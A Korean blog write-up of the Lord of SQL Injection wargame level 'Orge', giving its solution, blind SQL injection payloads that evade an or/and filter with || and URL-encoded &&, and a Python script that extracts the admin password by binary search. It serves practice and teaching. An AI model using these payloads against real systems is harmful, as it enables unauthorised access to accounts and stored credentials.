본문 바로가기
WarGames/SQL Injection

Lord of SQL Injection : Orge[7]

by madevth 2021. 11. 24.
반응형

[Level 7. Orge] Sol → ?pw=7b751aec

7단계는 4단계와 6단계를 섞은 문제이다.

6단계와 마찬가지로 or/and를 사용하지 못하고, 4단계와 마찬가지로 id가 admin인 pw를 맞춰야 하기 때문에 Blind SQL를 사용해야 한다.

6단계에서 or를 ||로 표현했기 때문에, and는 &&으로 표현해줬는데, url에서는 &를 아스키코드로 변환한 %26로 넣어줘야 and로 인식이 됐다.

 

?pw=' || id = 'admin' %26%26 length(pw) > 5 %23를 넣어 pw의 길이 추론을 시작하였다.

길이를 점점 늘리다가 8이 되는 순간 Hello admin이 표시되지 않았고, ?pw=' || id = 'admin' %26%26 length(pw) = 8 %23을 넣어 확인을 해주니 Hello admin이 표시되었다.

비밀번호의 길이가 8 임을 알 수 있다.

 

그래서 그다음부터는 4단계와 똑같이 자동화 코드를 돌려서 풀어주었다. (사실 길이도 4단계처럼 자동화로 풀 수 있다.)

URL과 cookie를 7단계의 URL과 COOKIE로 바꿔준 후 자동화를 돌려주자.

그런데 python에서는 %23이 아니라 #으로 쳤듯이 %26%26이 아니라 &&으로 쳐주어야 돌아간다. 인코딩의 차이가 조금 있는 것 같다.

def find_pw():
    length = find_length()
    password = ""
    for i in range(length):
        s = 1
        e = 127
        value = 64
        while True:
            param = {"pw": "' || id = 'admin' && ascii(substring(pw, {}, 1)) = {} #".format(i+1, value)}
            print(param)
            req = requests.get(url, params = param, cookies = cookie)
            if "Hello admin" in req.text:
                password += chr(value)
                break
            else:
                param = {"pw": "' || id = 'admin' && ascii(substring(pw, {}, 1)) > {} #".format(i+1, value)}
                req = requests.get(url, params = param, cookies = cookie)
                if "Hello admin" in req.text:
                    s = value
                    value = (value + e) // 2
                else:
                    e = value
                    value = (s + value) // 2
    print("비밀번호는: ", password)

find_pw()

비밀번호를 잘 구해주었다.

Clear~

반응형

댓글